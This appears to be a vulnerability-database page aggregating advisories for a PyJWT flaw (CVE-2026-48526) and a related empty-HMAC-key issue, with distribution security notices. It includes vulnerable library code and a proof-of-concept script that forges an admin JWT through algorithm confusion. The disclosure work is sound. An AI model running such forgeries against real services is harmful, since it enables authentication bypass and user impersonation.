Every CVE Search/ Get API key

CVE-2026-48526

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

7.4 HighFix available

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.43%Up 0.4 points since May 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.4

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-287, CWE-347, CWE-347
Updated
2026-11-02
EUVDEUVD-2026-32917 7.4

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
EUVD-2026-32917
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-pxh4-856f-4h89 7.4

PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery

Summary

HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a PyJWK, or a PyJWK resolved by PyJWKSet / PyJWKClient), the HMAC verifier computes HMAC(key=b"", signing_input) and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's kid to the empty-k JWK.

The empty-key rejection that HMACAlgorithm.prepare_key performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an InsecureKeyLengthWarning, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition.

Affected versions

PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit 7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not.

Privilege required

Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct key has an empty k can forge tokens with arbitrary claims.

Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty k. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes b"" into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration.

Vulnerable code

jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):

@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Contrast the sibling prepare_key, which DID get the guard (lines 325-329):

def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key material directly, bypassing prepare_key, and the length warning is non-fatal by default:

        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
 …
Record
GHSA-pxh4-856f-4h89
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
GitHub AdvisoriesGHSA-xgmm-8j9v-c9wx 7.4

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Record
GHSA-xgmm-8j9v-c9wx
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-287, CWE-347
Updated
2026-11-02
NVD 7.4

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-287, CWE-347
Updated
2026-11-02
OSVBELL-CVE-2026-48526 7.4
Record
BELL-CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
Show 40 moreShow less
OSV 7.4

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-287, CWE-347
Updated
2026-11-02
OSVDEBIAN-CVE-2026-48526 7.4

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
DEBIAN-CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVGHSA-pxh4-856f-4h89 7.4

PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery

Summary

HMACAlgorithm.from_jwk accepts a symmetric (kty=oct) JWK whose k value is the empty string and returns a zero-length key without raising. When a token is then verified with that key object (a PyJWK, or a PyJWK resolved by PyJWKSet / PyJWKClient), the HMAC verifier computes HMAC(key=b"", signing_input) and accepts any token an attacker forged with the same empty key. The attacker needs no secret knowledge: they reproduce the digest locally with an empty key and set the token's kid to the empty-k JWK.

The empty-key rejection that HMACAlgorithm.prepare_key performs for string/bytes secrets (added in 2.13.0) was never propagated to the sibling from_jwk code path, so the JWK/JWKS verification route stays exploitable. Under default decode options this path only emits an InsecureKeyLengthWarning, not an error, so verification still succeeds. This is the same "empty/nil HMAC key is accepted by verify" defect the JWT ecosystem is currently closing library-side: fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a library-side reject-empty-HMAC-key precondition.

Affected versions

PyJWT (PyPI package pyjwt) <= 2.13.0, current master at commit 7144e4534c34810f4525dc4578a32addd8212cff. The string/bytes secret path is already guarded in 2.13.0; the JWK/JWKS path is not.

Privilege required

Unauthenticated. Any party who can reach a JWT-verifying endpoint of an application that verifies via a PyJWK / PyJWKSet / PyJWKClient whose oct key has an empty k can forge tokens with arbitrary claims.

Preconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct entry carries an empty k. This occurs when the signing secret is sourced from an unset environment variable / unset config row / key-finder fallback that base64url-encodes b"" into the published JWKS, or when the application trusts a JWKS containing such an entry. The equivalent unset-secret case for the string-secret API (jwt.decode(token, key="")) is already rejected in 2.13.0; the JWK route is the remaining reachable surface for the same misconfiguration.

Vulnerable code

jwt/algorithms.py, HMACAlgorithm.from_jwk (line 380):

@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
    try:
        if isinstance(jwk, str):
            obj: JWKDict = json.loads(jwk)
        elif isinstance(jwk, dict):
            obj = jwk
        else:
            raise ValueError
    except ValueError:
        raise InvalidKeyError("Key is not valid JSON") from None

    if obj.get("kty") != "oct":
        raise InvalidKeyError("Not an HMAC key")

    return base64url_decode(obj["k"])   # <-- empty k -> b"", no rejection

Contrast the sibling prepare_key, which DID get the guard (lines 325-329):

def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    if len(key_bytes) == 0:
        raise InvalidKeyError("HMAC key must not be empty.")

In jwt/api_jws.py, _verify_signature (lines 389-416) uses the PyJWK key material directly, bypassing prepare_key, and the length warning is non-fatal by default:

        if isinstance(key, PyJWK):
            if alg != key.algorithm_name:
                raise InvalidAlgorithmError(
                    f"Token algorithm {alg!r} does not match the key's "
                    f"algorithm {key.algorithm_name!r}"
                )
            alg_obj = key.Algorithm
            prepared_key = key.key            # from_jwk output (b""), prepare_key not run
        else:
            try:
                alg_obj = self.get_algorithm_by_name(alg)
            except NotImplementedError as e:
                raise InvalidAlgorithmError("Algorithm not supported") from e
            prepared_key = alg_obj.prepare_key(key)

        key_length_msg = alg_obj.check_key_length(prepared_key)
        if key_length_msg:
            if effective_options.get("enforce_minimum_key_length", False):
 …
Record
GHSA-pxh4-856f-4h89
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
OSVGHSA-xgmm-8j9v-c9wx 7.4

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Record
GHSA-xgmm-8j9v-c9wx
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-287, CWE-347
Updated
2026-11-02
OSVPYSEC-2026-179 7.4

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
PYSEC-2026-179
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:25902 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:25902
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:26206 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:26206
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:34160 8.1

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:34160
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:34365 8.8

Red Hat Security Advisory: Satellite 6.19.2 Async Update

Record
RHSA-2026:34365
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Updated
2026-11-02
OSVRHSA-2026:35835 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:35835
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:35836 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:35836
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:35837 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:35837
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:35845 7.4

Red Hat Security Advisory: fence-agents security update

Record
RHSA-2026:35845
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:50222 7.5

Red Hat Security Advisory: Satellite 6.17.10 Async Update

Record
RHSA-2026:50222
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50223 8.2

Red Hat Security Advisory: Satellite 6.16.12 Async Update

Record
RHSA-2026:50223
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRHSA-2026:50263 7.5

Red Hat Security Advisory: Satellite 6.18.8 Async Update

Record
RHSA-2026:50263
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:50319 8.2

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:50319
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRHSA-2026:50336 8.2

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:50336
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
Updated
2026-11-02
OSVRLSA-2026:25902 7.4

Important: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:25902
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRLSA-2026:26206 7.4

Important: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:26206
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-48526 7.4

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
UBUNTU-CVE-2026-48526
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVALSA-2026:25902 No score

Important: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:25902
Updated
2026-11-02
OSVALSA-2026:26206 No score

Important: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • python-pyjwt: PyJWT: Authentication bypass due to forged JSON Web Tokens (CVE-2026-48526)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:26206
Updated
2026-11-02
OSVAZL-93033 No score

CVE-2026-48526 affecting package python-jwt for versions less than 2.13.0-1

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.

Record
AZL-93033
Updated
2026-11-02
OSVCLSA-2026-1783299703 No score

TuxCare security update for pyjwt (4 CVEs)

TuxCare rebuilt pyjwt to address 4 CVEs. Fixed in 2.10.1.post2+tuxcare.

Record
CLSA-2026-1783299703
Updated
2026-11-02
OSVCLSA-2026-1786520090 No score

TuxCare security update for pyjwt (1 CVE)

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.8.0.post2+tuxcare.

Record
CLSA-2026-1786520090
Updated
2026-11-02
OSVCLSA-2026-1786521955 No score

TuxCare security update for pyjwt (3 CVEs)

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 2.3.0.post2+tuxcare.

Record
CLSA-2026-1786521955
Updated
2026-11-02
OSVCLSA-2026-1787038724 No score

TuxCare security update for pyjwt (3 CVEs)

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.

Record
CLSA-2026-1787038724
Updated
2026-11-02
OSVCLSA-2026-1792740713 No score

TuxCare security update for pyjwt (1 CVE)

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.10.1.post7+tuxcare.

Record
CLSA-2026-1792740713
Updated
2026-11-02
OSVopenSUSE-SU-2026:11024-1 No score

python311-PyJWT-2.13.0-1.1 on GA media

These are all security issues fixed in the python311-PyJWT-2.13.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11024-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21095-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
openSUSE-SU-2026:21095-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-48526 No score

CVE-2026-48526 in pyjwt - Patched by Root

Root has patched CVE-2026-48526 in the pyjwt package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-48526
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-pxh4-856f-4h89 No score

GHSA-pxh4-856f-4h89 in PyJWT - Patched by Root

Root has patched GHSA-pxh4-856f-4h89 in the PyJWT package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-pxh4-856f-4h89
Updated
2026-11-02
OSVSUSE-SU-2026:22138-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:22138-1
Updated
2026-11-02
OSVSUSE-SU-2026:22170-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:22170-1
Updated
2026-11-02
OSVSUSE-SU-2026:22220-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:22220-1
Updated
2026-11-02
OSVSUSE-SU-2026:22238-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:22238-1
Updated
2026-11-02
OSVSUSE-SU-2026:2626-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48524: unlimited processing of JWTs with unknown kid values by PyJWKClient.get_signing_key() leads to unbounded JWKS endpoint requests and DoS (bsc#1266800).
